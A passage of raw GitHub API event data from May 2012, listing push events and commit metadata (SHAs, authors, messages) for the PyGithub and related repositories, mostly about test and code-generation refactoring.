Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/595e88cd5537208958f90d6727965cc7918f09a7","distinct":true,"message":"Rename new tests as only tests"},{"sha":"283da5e7de6a4a3b6aaae7045909d70b643ad380","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/283da5e7de6a4a3b6aaae7045909d70b643ad380","distinct":true,"message":"Fix code generation and tests after reorganization"},{"sha":"a78d82212b67402527d1a0200300e772bc889620","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a78d82212b67402527d1a0200300e772bc889620","distinct":true,"message":"Modularize integration tests"},{"sha":"efa58887aa170aefe844d1c4a3f6c9d8d030548d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/efa58887aa170aefe844d1c4a3f6c9d8d030548d","distinct":true,"message":"Test Branch and Commit attributes"},{"sha":"3c71195916d2f3352ca354d99115709a9334617b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3c71195916d2f3352ca354d99115709a9334617b","distinct":true,"message":"Test GitRef attributes"},{"sha":"4c4e551d39f77beb507cd745408284eb0f8078ec","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4c4e551d39f77beb507cd745408284eb0f8078ec","distinct":true,"message":"Toto"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-10T18:02:02Z","id":"1550846032","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"4c4e551d39f77beb507cd745408284eb0f8078ec","size":1,"push_id":77642805,"commits":[{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/4c4e551d39f77beb507cd745408284eb0f8078ec","message":"Toto","distinct":true,"sha":"4c4e551d39f77beb507cd745408284eb0f8078ec"}],"ref":"refs/heads/tmp"},"public":false,"repo":{"url":"https://api.github.com/repos/jacquev6/Candidates","id":1592290,"name":"jacquev6/Candidates"},"created_at":"2012-05-10T14:55:13Z","id":"1550770489","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"3c71195916d2f3352ca354d99115709a9334617b","size":25,"push_id":77640970,"ref":"refs/heads/tmp","commits":[{"sha":"bc08112dce9be4227c90ad812ff4b6e6dbfc81c5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/bc08112dce9be4227c90ad812ff4b6e6dbfc81c5","distinct":true,"message":"Do not try to __complete objects without url"},{"sha":"ead8fdd1659f743a060679d77ec94deaa7ac92a0","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/ead8fdd1659f743a060679d77ec94deaa7ac92a0","distinct":true,"message":"Use a small eval instead of a big exec"},{"sha":"c559faa6804f4066fee641a079c008f570adffb5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/c559faa6804f4066fee641a079c008f570adffb5","distinct":true,"message":"Check types of received attributes"},{"sha":"114db51fe79cad37e50bc3bc82c183c7d2845316","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/114db51fe79cad37e50bc3bc82c183c7d2845316","distinct":true,"message":"Test attributes of Repository"},{"sha":"5e4cfeda7f5a3f9c8738ba953d704b7e1d28a3f6","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/5e4cfeda7f5a3f9c8738ba953d704b7e1d28a3f6","distinct":true,"message":"Test attributes of GitTree (needs a manual change in url in Repository.get_git_tree)"},{"sha":"a03ff8d09ef2f1d55284b8797dd5b9a95b19f917","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/a03ff8d09ef2f1d55284b8797dd5b9a95b19f917","distinct":true,"message":"Explanation about a toto"},{"sha":"d577b691527f5c7f6f663ceef42cba472aae7209","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d577b691527f5c7f6f663ceef42cba472aae7209","distinct":true,"message":"Further simplify record mode"},{"sha":"e1afa5aa3ca92f26aa8dfc3c3d979c1d6d573b39","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/e1afa5aa3ca92f26aa8dfc3c3d979c1d6d573b39","distinct":true,"message":"Standardize detection of replay problems"},{"sha":"ec389d6b62275ccc07f935184cdcbd82bb9124cd","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/ec389d6b62275ccc07f935184cdcbd82bb9124cd","distinct":true,"message":"Remove more code again"},{"sha":"d4a6a3a344e642672fd3107943bf8899326e9ee1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d4a6a3a344e642672fd3107943bf8899326e9ee1","distinct":true,"message":"Fix urls for git objects"},{"sha":"1612b7bcf7b3449c3820c2e49033894e7135739f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1612b7bcf7b3449c3820c2e49033894e7135739f","distinct":true,"message":"Test GitBlob attributes"},{"sha":"954177f98928d5768b02d3cf6340fddcad697410","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/954177f98928d5768b02d3cf6340fddcad697410","distinct":true,"message":"Re-order tests"},{"sha":"80b4e550f354ff5285717eb096839ea25b238fad","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/80b4e550f354ff5285717eb096839ea25b238fad","distinct":true,"message":"Test attributes of GitCommit"},{"sha":"f23ad16aaaf4c5b2f312317cabf3c3e67dccc92b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/f23ad16aaaf4c5b2f312317cabf3c3e67dccc92b","distinct":true,"message":"Add a GitAuthor class"},{"sha":"f14d761344782215c94a23be806a357e5d7ab58d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/f14d761344782215c94a23be806a357e5d7ab58d","distinct":true,"message":"Structure some attributes"},{"sha":"b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","distinct":true,"message":"More assertions"},{"sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","distinct":true,"message":"Remove completion functions from GitAuthor"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/cd68559b0861ad2be12be29b9d4b7ec66e885191","message":"Separate asserts on type and assignments of values of attributes","distinct":true,"sha":"cd68559b0861ad2be12be29b9d4b7ec66e885191"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d631e83b7901b0a0b6061b361130700a79505319","message":"Move files around","distinct":true,"sha":"d631e83b7901b0a0b6061b361130700a79505319"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d6efda12012dfb0c35f81d2c291bed575d2f9336","message":"Remove old tests","distinct":true,"sha":"d6efda12012dfb0c35f81d2c291bed575d2f9336"}]},"public":false,"repo":{"url":"https://api.github.com/repos/jacquev6/Candidates","id":1592290,"name":"jacquev6/Candidates"},"created_at":"2012-05-10T14:48:13Z","id":"1550767239","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","size":17,"push_id":77421832,"commits":[{"sha":"bc08112dce9be4227c90ad812ff4b6e6dbfc81c5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bc08112dce9be4227c90ad812ff4b6e6dbfc81c5","distinct":true,"message":"Do not try to __complete objects without url"},{"sha":"ead8fdd1659f743a060679d77ec94deaa7ac92a0","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ead8fdd1659f743a060679d77ec94deaa7ac92a0","distinct":true,"message":"Use a small eval instead of a big exec"},{"sha":"c559faa6804f4066fee641a079c008f570adffb5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c559faa6804f4066fee641a079c008f570adffb5","distinct":true,"message":"Check types of received attributes"},{"sha":"114db51fe79cad37e50bc3bc82c183c7d2845316","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/114db51fe79cad37e50bc3bc82c183c7d2845316","distinct":true,"message":"Test attributes of Repository"},{"sha":"5e4cfeda7f5a3f9c8738ba953d704b7e1d28a3f6","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5e4cfeda7f5a3f9c8738ba953d704b7e1d28a3f6","distinct":true,"message":"Test attributes of GitTree (needs a manual change in url in Repository.get_git_tree)"},{"sha":"a03ff8d09ef2f1d55284b8797dd5b9a95b19f917","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a03ff8d09ef2f1d55284b8797dd5b9a95b19f917","distinct":true,"message":"Explanation about a toto"},{"sha":"d577b691527f5c7f6f663ceef42cba472aae7209","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d577b691527f5c7f6f663ceef42cba472aae7209","distinct":true,"message":"Further simplify record mode"},{"sha":"e1afa5aa3ca92f26aa8dfc3c3d979c1d6d573b39","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e1afa5aa3ca92f26aa8dfc3c3d979c1d6d573b39","distinct":true,"message":"Standardize detection of replay problems"},{"sha":"ec389d6b62275ccc07f935184cdcbd82bb9124cd","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ec389d6b62275ccc07f935184cdcbd82bb9124cd","distinct":true,"message":"Remove more code again"},{"sha":"d4a6a3a344e642672fd3107943bf8899326e9ee1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d4a6a3a344e642672fd3107943bf8899326e9ee1","distinct":true,"message":"Fix urls for git objects"},{"sha":"1612b7bcf7b3449c3820c2e49033894e7135739f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1612b7bcf7b3449c3820c2e49033894e7135739f","distinct":true,"message":"Test GitBlob attributes"},{"sha":"954177f98928d5768b02d3cf6340fddcad697410","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/954177f98928d5768b02d3cf6340fddcad697410","distinct":true,"message":"Re-order tests"},{"sha":"80b4e550f354ff5285717eb096839ea25b238fad","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/80b4e550f354ff5285717eb096839ea25b238fad","distinct":true,"message":"Test attributes of GitCommit"},{"sha":"f23ad16aaaf4c5b2f312317cabf3c3e67dccc92b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f23ad16aaaf4c5b2f312317cabf3c3e67dccc92b","distinct":true,"message":"Add a GitAuthor class"},{"sha":"f14d761344782215c94a23be806a357e5d7ab58d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f14d761344782215c94a23be806a357e5d7ab58d","distinct":true,"message":"Structure some attributes"},{"sha":"b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","distinct":true,"message":"More assertions"},{"sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","distinct":true,"message":"Remove completion functions from GitAuthor"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-09T16:22:49Z","id":"1550379824","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"41e11740d1921001a2e2474dbe0fa75d3a861849","size":31,"push_id":77401200,"ref":"refs/heads/tmp","commits":[{"sha":"90ff8697b7039fcc1f12369b421f31319fd996df","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/90ff8697b7039fcc1f12369b421f31319fd996df","distinct":true,"message":"Simplify definition of list types"},{"sha":"c01d36a64eb6c4e69e3ac2f6ade27d793f7f2300","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/c01d36a64eb6c4e69e3ac2f6ade27d793f7f2300","distinct":true,"message":"Remove underscores in keys in description, to allow hunting underscores in values"},{"sha":"07e994823e22a01d11612f141c2c0f9336ae5bf5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/07e994823e22a01d11612f141c2c0f9336ae5bf5","distinct":true,"message":"Fix testGists"},{"sha":"5be7fed4c9533dedffe03c7f908a608a8e6fe221","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/5be7fed4c9533dedffe03c7f908a608a8e6fe221","distinct":true,"message":"Toto"},{"sha":"fcd377e377c23f87779d7940c3e894fd5844aad2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/fcd377e377c23f87779d7940c3e894fd5844aad2","distinct":true,"message":"Fix testIssuesForAuthenticatedUser"},{"sha":"84dff1cca70806dd51440fef0634626fd5180a59","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/84dff1cca70806dd51440fef0634626fd5180a59","distinct":true,"message":"Fix testKeys"},{"sha":"e614a30e129b8b7a54173571a379ffe976696578","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/e614a30e129b8b7a54173571a379ffe976696578","distinct":true,"message":"Fix testRepositoryCompare"},{"sha":"74d7704bcd1c291b9003b5785b5978a8036c0505","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/74d7704bcd1c291b9003b5785b5978a8036c0505","distinct":true,"message":"Repository.get_languages => fix testRepositoryDetails"},{"sha":"4b820e09c9487b8f92a8fc098c6e708d16219ec1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/4b820e09c9487b8f92a8fc098c6e708d16219ec1","distinct":true,"message":"Remove an old toto"},{"sha":"1625a645de547b29e9de0f40d40cbcdc4a72f29d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1625a645de547b29e9de0f40d40cbcdc4a72f29d","distinct":true,"message":"Start to rewrite integration test"},{"sha":"1c2f5c78cc8c018775e389a2520e570a707118a6","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/1c2f5c78cc8c018775e389a2520e570a707118a6","distinct":true,"message":"Improve coverage"},{"sha":"26676020797823c0ff91ccb3cca6112d4b93261e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/26676020797823c0ff91ccb3cca6112d4b93261e","distinct":true,"message":"First recording for new integration tests"},{"sha":"523f2fdd1dcd2e58bc30f6541e53d9858cfa244f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/523f2fdd1dcd2e58bc30f6541e53d9858cfa244f","distinct":true,"message":"Fix recording"},{"sha":"00904f33330d690994a973cd0e021c498e826bc5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/00904f33330d690994a973cd0e021c498e826bc5","distinct":true,"message":"Cover AuthenticatedUser.edit"},{"sha":"656556341233c62324445eb3f5cef6331a7578d3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/656556341233c62324445eb3f5cef6331a7578d3","distinct":true,"message":"Ensure that recorded calls are all replayed"},{"sha":"824b45490dd3b8b2fae4bd4201f195249e26e8a1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/824b45490dd3b8b2fae4bd4201f195249e26e8a1","distinct":true,"message":"Add a Plan class"},{"sha":"eed1e43c9588a76e230e1599fb200a904fe89bd8","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/eed1e43c9588a76e230e1599fb200a904fe89bd8","distinct":true,"message":"Check types of received attributes"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/56dc5d118f17e173eff2bc438681c5903c6444c2","message":"Test attributes of Repository","distinct":true,"sha":"56dc5d118f17e173eff2bc438681c5903c6444c2"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/e5b6e83d493add2052fe63bde12c47cddf7fd7cf","message":"Test attributes of GitTree (needs a manual change in url in Repository.get_git_tree)","distinct":true,"sha":"e5b6e83d493add2052fe63bde12c47cddf7fd7cf"},{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/jacquev6/Candidates/commits/d1c0dbdd50de73300e408800f9594aff65765ea4","message":"Explanation about a toto","distinct":true,"sha":"d1c0dbdd50de73300e408800f9594aff65765ea4"}]},"public":false,"repo":{"url":"https://api.github.com/repos/jacquev6/Candidates","id":1592290,"name":"jacquev6/Candidates"},"created_at":"2012-05-09T14:58:19Z","id":"1550344090","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"824b45490dd3b8b2fae4bd4201f195249e26e8a1","size":1,"push_id":77223918,"commits":[{"sha":"824b45490dd3b8b2fae4bd4201f195249e26e8a1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/824b45490dd3b8b2fae4bd4201f195249e26e8a1","distinct":true,"message":"Add a Plan class"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-08T19:27:45Z","id":"1550038588","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"f2ccff31671f56b9a1db152056c40fc5118ac403","size":11,"push_id":77220608,"commits":[{"sha":"84dff1cca70806dd51440fef0634626fd5180a59","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/84dff1cca70806dd51440fef0634626fd5180a59","distinct":true,"message":"Fix testKeys"},{"sha":"e614a30e129b8b7a54173571a379ffe976696578","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e614a30e129b8b7a54173571a379ffe976696578","distinct":true,"message":"Fix testRepositoryCompare"},{"sha":"74d7704bcd1c291b9003b5785b5978a8036c0505","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/74d7704bcd1c291b9003b5785b5978a8036c0505","distinct":true,"message":"Repository.get_languages => fix testRepositoryDetails"},{"sha":"4b820e09c9487b8f92a8fc098c6e708d16219ec1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4b820e09c9487b8f92a8fc098c6e708d16219ec1","distinct":true,"message":"Remove an old toto"},{"sha":"1625a645de547b29e9de0f40d40cbcdc4a72f29d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1625a645de547b29e9de0f40d40cbcdc4a72f29d","distinct":true,"message":"Start to rewrite integration test"},{"sha":"1c2f5c78cc8c018775e389a2520e570a707118a6","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1c2f5c78cc8c018775e389a2520e570a707118a6","distinct":true,"message":"Improve coverage"},{"sha":"26676020797823c0ff91ccb3cca6112d4b93261e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/26676020797823c0ff91ccb3cca6112d4b93261e","distinct":true,"message":"First recording for new integration tests"},{"sha":"523f2fdd1dcd2e58bc30f6541e53d9858cfa244f","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/523f2fdd1dcd2e58bc30f6541e53d9858cfa244f","distinct":true,"message":"Fix recording"},{"sha":"00904f33330d690994a973cd0e021c498e826bc5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/00904f33330d690994a973cd0e021c498e826bc5","distinct":true,"message":"Cover AuthenticatedUser.edit"},{"sha":"656556341233c62324445eb3f5cef6331a7578d3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/656556341233c62324445eb3f5cef6331a7578d3","distinct":true,"message":"Ensure that recorded calls are all replayed"},{"sha":"f2ccff31671f56b9a1db152056c40fc5118ac403","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f2ccff31671f56b9a1db152056c40fc5118ac403","distinct":true,"message":"Add a Plan class"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-08T19:12:55Z","id":"1550033011","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"658e8e1ff5d4846d7aa709e516432843d39ad3d5","size":15,"push_id":77097011,"commits":[{"sha":"b9d318a09a89d71a9025da545e0883ee06bb2e40","author":{"name":"Baylor Rae'","email":"baylorrae@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/b9d318a09a89d71a9025da545e0883ee06bb2e40","distinct":true,"message":"fix a typo that didn't create a link"},{"sha":"fe434fe8d0dc57d06d8491ce0ce8d407e2634170","author":{"name":"Chris McDonald","email":"XWraithanX@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/fe434fe8d0dc57d06d8491ce0ce8d407e2634170","distinct":true,"message":"spelling fix: tecnique -> technique"},{"sha":"5c8f53cd01538eaf4a097636861dd87408bdd61e","author":{"name":"Clint Shryock","email":"clint@ctshryock.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/5c8f53cd01538eaf4a097636861dd87408bdd61e","distinct":true,"message":"Fix small typo\n\n\"a comments\" -> \"a comment\""},{"sha":"f8a3a353705e85132373c40d029af8b544de44b6","author":{"name":"Tyler Stalder","email":"tyler@stalder.me"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/f8a3a353705e85132373c40d029af8b544de44b6","distinct":true,"message":"Fix the links to the the newer /settings/applications/new"},{"sha":"9d11e103e1b5f01088d60a9d9f765b78565c4e7d","author":{"name":"John Barnette","email":"jbarnette@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/9d11e103e1b5f01088d60a9d9f765b78565c4e7d","distinct":true,"message":"Merge pull request #70 from BaylorRae/patch-1\n\nfix a typo that didn't create a link"},{"sha":"4036368a0ecfc7676e421ab81a9dd4beb566c5fb","author":{"name":"John Barnette","email":"jbarnette@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/4036368a0ecfc7676e421ab81a9dd4beb566c5fb","distinct":true,"message":"Merge pull request #71 from wraithan/patch-1\n\nspelling fix: tecnique -> technique"},{"sha":"c3a412b425e699f4d2bc5cea9c5bf90287bd8c39","author":{"name":"John Barnette","email":"jbarnette@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/c3a412b425e699f4d2bc5cea9c5bf90287bd8c39","distinct":true,"message":"Merge pull request #73 from ctshryock/mime-typo\n\nFix small typo on /v3/mime/"},{"sha":"338fc8c0e1ebd58c02fd3dd7197032947f4410bd","author":{"name":"John Barnette","email":"jbarnette@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/338fc8c0e1ebd58c02fd3dd7197032947f4410bd","distinct":true,"message":"Merge pull request #74 from tylerstalder/patch-1\n\nFix the links to the the newer /settings/applications/new"},{"sha":"52b8a57eca396da67c8a3fb0d7b022348324cbb3","author":{"name":"John Barnette","email":"john@jbarnette.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/52b8a57eca396da67c8a3fb0d7b022348324cbb3","distinct":true,"message":"Make new auth link anchor consistent. (@kastiglione)"},{"sha":"11fa772024c1b6ed578b5de95121f5f5935528e9","author":{"name":"John Barnette","email":"john@jbarnette.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/11fa772024c1b6ed578b5de95121f5f5935528e9","distinct":true,"message":"Squash an encoding 